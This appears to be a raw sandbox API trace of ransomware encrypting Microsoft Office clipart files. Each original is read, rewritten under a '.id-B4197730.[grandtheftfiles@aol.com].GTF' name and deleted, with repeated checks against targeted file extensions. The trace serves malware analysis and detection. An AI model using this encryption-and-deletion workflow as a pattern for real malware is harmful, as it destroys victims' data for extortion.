	[0085.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.292] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.292] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.299] GetLastError () returned 0x0
	[0085.299] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xb10, lpOverlapped=0x0) returned 1
	[0085.303] WriteFile (in: hFile=0x2d0, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xb20, lpOverlapped=0x0) returned 1
	[0085.304] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.304] WriteFile (in: hFile=0x2d0, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.304] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.314] CloseHandle (hObject=0x2d0) returned 1
	[0085.315] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.315] SetEndOfFile (hFile=0x368) returned 1
	[0085.316] CloseHandle (hObject=0x368) returned 1
	[0085.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1
	[0085.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.317] lstrlenW (lpString=".doc") returned 4
	[0085.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.317] lstrlenW (lpString=".docx") returned 5
	[0085.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.317] lstrlenW (lpString=".pdf") returned 4
	[0085.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.317] lstrlenW (lpString=".xls") returned 4
	[0085.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.317] lstrlenW (lpString=".xlsx") returned 5
	[0085.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.317] lstrlenW (lpString=".ppt") returned 4
	[0085.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString=".zip") returned 4
	[0085.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.318] lstrlenW (lpString=".rar") returned 4
	[0085.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString=".bz2") returned 4
	[0085.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString=".7z") returned 3
	[0085.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString=".dbf") returned 4
	[0085.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString=".1cd") returned 4
	[0085.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString=".jpg") returned 4
	[0085.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString=".doc") returned 4
	[0085.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString=".docx") returned 5
	[0085.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.318] lstrlenW (lpString=".pdf") returned 4
	[0085.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString=".xls") returned 4
	[0085.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.318] lstrlenW (lpString=".xlsx") returned 5
	[0085.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.318] lstrlenW (lpString=".ppt") returned 4
	[0085.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.318] lstrlenW (lpString=".zip") returned 4
	[0085.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.319] lstrlenW (lpString=".rar") returned 4
	[0085.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.319] lstrlenW (lpString=".bz2") returned 4
	[0085.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.319] lstrlenW (lpString=".7z") returned 3
	[0085.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.319] lstrlenW (lpString=".dbf") returned 4
	[0085.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.319] lstrlenW (lpString=".1cd") returned 4
	[0085.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68
	[0085.319] lstrlenW (lpString=".jpg") returned 4
	[0085.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.319] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.319] lstrlenW (lpString="DD00372_.WMF") returned 12
	[0085.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.324] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=792) returned 1
	[0085.324] CloseHandle (hObject=0x368) returned 1
	[0085.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220
	[0085.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.326] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.327] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.365] GetLastError () returned 0x0
	[0085.365] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x318, lpOverlapped=0x0) returned 1
	[0085.367] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x320, lpOverlapped=0x0) returned 1
	[0085.368] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.368] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.368] SetEndOfFile (hFile=0x35c) returned 1
	[0085.368] CloseHandle (hObject=0x35c) returned 1
	[0085.370] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.370] SetEndOfFile (hFile=0x378) returned 1
	[0085.371] CloseHandle (hObject=0x378) returned 1
	[0085.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1
	[0085.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.372] lstrlenW (lpString=".doc") returned 4
	[0085.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.372] lstrlenW (lpString=".docx") returned 5
	[0085.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.372] lstrlenW (lpString=".pdf") returned 4
	[0085.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.372] lstrlenW (lpString=".xls") returned 4
	[0085.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.372] lstrlenW (lpString=".xlsx") returned 5
	[0085.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.372] lstrlenW (lpString=".ppt") returned 4
	[0085.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.372] lstrlenW (lpString=".zip") returned 4
	[0085.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.372] lstrlenW (lpString=".rar") returned 4
	[0085.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.372] lstrlenW (lpString=".bz2") returned 4
	[0085.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.372] lstrlenW (lpString=".7z") returned 3
	[0085.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.372] lstrlenW (lpString=".dbf") returned 4
	[0085.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.373] lstrlenW (lpString=".1cd") returned 4
	[0085.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.373] lstrlenW (lpString=".jpg") returned 4
	[0085.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.373] lstrlenW (lpString=".doc") returned 4
	[0085.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString=".docx") returned 5
	[0085.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.373] lstrlenW (lpString=".pdf") returned 4
	[0085.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString=".xls") returned 4
	[0085.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.373] lstrlenW (lpString=".xlsx") returned 5
	[0085.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.373] lstrlenW (lpString=".ppt") returned 4
	[0085.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.373] lstrlenW (lpString=".zip") returned 4
	[0085.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.373] lstrlenW (lpString=".rar") returned 4
	[0085.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString=".bz2") returned 4
	[0085.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.373] lstrlenW (lpString=".7z") returned 3
	[0085.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.373] lstrlenW (lpString=".dbf") returned 4
	[0085.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.374] lstrlenW (lpString=".1cd") returned 4
	[0085.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68
	[0085.374] lstrlenW (lpString=".jpg") returned 4
	[0085.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.374] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.374] lstrlenW (lpString="DD00419_.WMF") returned 12
	[0085.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.375] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=712) returned 1
	[0085.375] CloseHandle (hObject=0x378) returned 1
	[0085.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220
	[0085.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.375] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.375] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.376] GetLastError () returned 0x0
	[0085.376] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2c8, lpOverlapped=0x0) returned 1
	[0085.377] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0085.378] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.378] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.378] SetEndOfFile (hFile=0x35c) returned 1
	[0085.378] CloseHandle (hObject=0x35c) returned 1
	[0085.379] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.379] SetEndOfFile (hFile=0x378) returned 1
	[0085.380] CloseHandle (hObject=0x378) returned 1
	[0085.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1
	[0085.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.381] lstrlenW (lpString=".doc") returned 4
	[0085.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.381] lstrlenW (lpString=".docx") returned 5
	[0085.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.381] lstrlenW (lpString=".pdf") returned 4
	[0085.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.381] lstrlenW (lpString=".xls") returned 4
	[0085.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.381] lstrlenW (lpString=".xlsx") returned 5
	[0085.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.381] lstrlenW (lpString=".ppt") returned 4
	[0085.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.381] lstrlenW (lpString=".zip") returned 4
	[0085.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.381] lstrlenW (lpString=".rar") returned 4
	[0085.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.381] lstrlenW (lpString=".bz2") returned 4
	[0085.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString=".7z") returned 3
	[0085.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.382] lstrlenW (lpString=".dbf") returned 4
	[0085.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.382] lstrlenW (lpString=".1cd") returned 4
	[0085.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.382] lstrlenW (lpString=".jpg") returned 4
	[0085.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.382] lstrlenW (lpString=".doc") returned 4
	[0085.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString=".docx") returned 5
	[0085.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.382] lstrlenW (lpString=".pdf") returned 4
	[0085.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString=".xls") returned 4
	[0085.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.382] lstrlenW (lpString=".xlsx") returned 5
	[0085.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.382] lstrlenW (lpString=".ppt") returned 4
	[0085.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.382] lstrlenW (lpString=".zip") returned 4
	[0085.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.382] lstrlenW (lpString=".rar") returned 4
	[0085.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString=".bz2") returned 4
	[0085.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.382] lstrlenW (lpString=".7z") returned 3
	[0085.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.383] lstrlenW (lpString=".dbf") returned 4
	[0085.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.383] lstrlenW (lpString=".1cd") returned 4
	[0085.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0085.383] lstrlenW (lpString=".jpg") returned 4
	[0085.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.383] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.383] lstrlenW (lpString="DD00437_.WMF") returned 12
	[0085.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.383] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1932) returned 1
	[0085.383] CloseHandle (hObject=0x378) returned 1
